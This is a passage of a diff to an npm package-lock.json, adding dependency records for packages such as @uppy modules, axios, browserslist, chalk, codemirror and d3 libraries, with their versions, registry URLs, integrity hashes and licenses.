"node_modules/@uppy/dashboard/node_modules/nanoid": { + "version": "5.1.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", + "integrity": "sha512-kVrnsrJqMR8+oLJnGEmSWw9BivK5mt7H3FZatVRjrc5wGqFYuBxX1yG7+A7Gi5AefkX6t/oCkizcQgpu0cY1dQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.js" + }, + "engines": { + "node": "^18 || >=20" + } + }, + "node_modules/@uppy/locales": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@uppy/locales/-/locales-5.1.1.tgz", + "integrity": "sha512-zSbDU27JzfdssRJoa5/xmGOsrEtS+2Z9j41weaoCa/NoK4wqZzkFNQ0Z44etbTg3PDVFakZVDu/Z+c+vsJCfdQ==", + "license": "MIT", + "dependencies": { + "@uppy/utils": "^7.1.5" + } + }, + "node_modules/@uppy/provider-views": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@uppy/provider-views/-/provider-views-5.2.2.tgz", + "integrity": "sha512-NAazIJ5sjrAc6++CeJ/u9dB5gDaaAOLHrYeEmWs/HqLlftlIinRZOybnyzJRXwI8jWI/FK5moluzt2HXu6dPQQ==", + "license": "MIT", + "dependencies": { + "@uppy/utils": "^7.1.5", + "classnames": "^2.2.6", + "lodash": "^4.17.21", + "nanoid": "^5.0.9", + "p-queue": "^8.0.0", + "preact": "^10.5.13" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0" + } + }, + "node_modules/@uppy/provider-views/node_modules/nanoid": { + "version": "5.1.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-5.1.16.tgz", + "integrity": "sha512-kVrnsrJqMR8+oLJnGEmSWw9BivK5mt7H3FZatVRjrc5wGqFYuBxX1yG7+A7Gi5AefkX6t/oCkizcQgpu0cY1dQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.js" + }, + "engines": { + "node": "^18 || >=20" + } + }, + "node_modules/@uppy/react": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@uppy/react/-/react-5.2.0.tgz", + "integrity": "sha512-6lzPutg2XGavs7P6ALmqOBPitd/Jqi3r1jCJQD5nx8xtNlBRwvlBR6hrZgo8XOI9cR+OaNDrJ0vEFxXDWb04Ag==", + "license": "MIT", + "dependencies": { + "@uppy/components": "^1.2.0", + "preact": "^10.26.10", + "use-sync-external-store": "^1.3.0" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0", + "@uppy/dashboard": "^5.1.1", + "@uppy/screen-capture": "^5.1.0", + "@uppy/status-bar": "^5.1.0", + "@uppy/webcam": "^5.1.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@uppy/dashboard": { + "optional": true + }, + "@uppy/screen-capture": { + "optional": true + }, + "@uppy/status-bar": { + "optional": true + }, + "@uppy/webcam": { + "optional": true + } + } + }, + "node_modules/@uppy/store-default": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@uppy/store-default/-/store-default-5.0.0.tgz", + "integrity": "sha512-hQtCSQ1yGiaval/wVYUWquYGDJ+bpQ7e4FhUUAsRQz1x1K+o7NBtjfp63O9I4Ks1WRoKunpkarZ+as09l02cPw==", + "license": "MIT" + }, + "node_modules/@uppy/thumbnail-generator": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@uppy/thumbnail-generator/-/thumbnail-generator-5.1.0.tgz", + "integrity": "sha512-QAKJHHkMrD/30GOyUb5U9HyJ7Ie3jiMLp4pVdw27PoA4pNV7fDQz0tyDeRPj2H+BWPEB1NsTSSfHI2pjHNI+OQ==", + "license": "MIT", + "dependencies": { + "@uppy/utils": "^7.1.4", + "exifr": "^7.0.0" + }, + "peerDependencies": { + "@uppy/core": "^5.2.0" + } + }, + "node_modules/@uppy/utils": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@uppy/utils/-/utils-7.2.0.tgz", + "integrity": "sha512-6lC246qszMv6bTyl/+QyHwrudgeguWkA94ME1wHn+a6uRAvmtAEaUManIfGqTJfoKvWAiCJqdJPl5xRJjhAloQ==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.23", + "preact": "^10.26.10" + } + }, + "node_modules/@vitejs/plugin-react": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.3.4.tgz", + "integrity": "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.26.0", + "@babel/plugin-transform-react-jsx-self": "^7.25.9", + "@babel/plugin-transform-react-jsx-source": "^7.25.9", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.14.2" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" + } + }, + "node_modules/acorn": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", + "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/aria-hidden": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.4.tgz", + "integrity": "sha512-y+CcFFwelSXpLZk/7fMB2mUbGtX9lKycf1MWJ7CaTIERyitVlyQx6C+sxcROU2BAJ24OiZyK+8wj2i8AlBoS3A==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-includes": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.8.tgz", + "integrity": "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.4", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlast": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", + "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz", + "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3", + "es-errors": "^1.3.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axios": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.19.0.tgz", + "integrity": "sha512-ht/iuYZXEjFxLH/Hkezgd7m6JKlHHXEUSneaDz8uZe1Gj5QZtCnpyDsckvAiEnT89OEbCLmnte4R4sn7P0EKFw==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.16.0", + "form-data": "^4.0.6", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.11.12", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.12.tgz", + "integrity": "sha512-r7WnVImvVCeFpf2DOXfy41aPWzeNg3H/A2X4dKmy1QL0MSyyk/e7z8ihJ3N6Nn2PsdhkVlqnEfnUE4a05P2aTA==", + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.7.tgz", + "integrity": "sha512-JxV13hNrFxqjOc8alRbq9dK1MM79NEXYpma2B2J4wAtpWS5zIEIKqWPGCl7N4o7Uc7B7itylh7SuDujATRyyTw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.44", + "caniuse-lite": "^1.0.30001806", + "electron-to-chromium": "^1.5.393", + "node-releases": "^2.0.51", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.3.tgz", + "integrity": "sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001806", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001806.tgz", + "integrity": "sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chalk/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/classnames": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "license": "MIT" + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/codemirror": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-6.0.2.tgz", + "integrity": "sha512-VhydHotNW5w1UGK0Qj96BwSk/Zqbp9WbnyK2W/eVMv4QyF41INRGpjUhFJY7/uDNuudSc33a/PKr4iDqRduvHw==", + "license": "MIT", + "dependencies": { + "@codemirror/autocomplete": "^6.0.0", + "@codemirror/commands": "^6.0.0", + "@codemirror/language": "^6.0.0", + "@codemirror/lint": "^6.0.0", + "@codemirror/search": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.0.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/concurrently": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-9.1.2.tgz", + "integrity": "sha512-H9MWcoPsYddwbOGM6difjVwVZHl63nwMEwDJG/L7VGtuaJhb12h2caPG2tVPWs7emuYix252iGfqOyrz1GczTQ==", + "license": "MIT", + "dependencies": { + "chalk": "^4.1.2", + "lodash": "^4.17.21", + "rxjs": "^7.8.1", + "shell-quote": "^1.8.1", + "supports-color": "^8.1.1", + "tree-kill": "^1.2.2", + "yargs": "^17.7.2" + }, + "bin": { + "conc": "dist/bin/concurrently.js", + "concurrently": "dist/bin/concurrently.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/open-cli-tools/concurrently?sponsor=1" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "license": "MIT" + }, + "node_modules/crelt": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.7.tgz", + "integrity": "sha512-aK6BbWfhf4U/wCcLHKPJl/xa6VkVstRaPywWtMKGwuOLc/wZTyQYuoxgvZnNsBvv7Kg3YTBQYYBCggcviQczuA==", + "license": "MIT" + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": 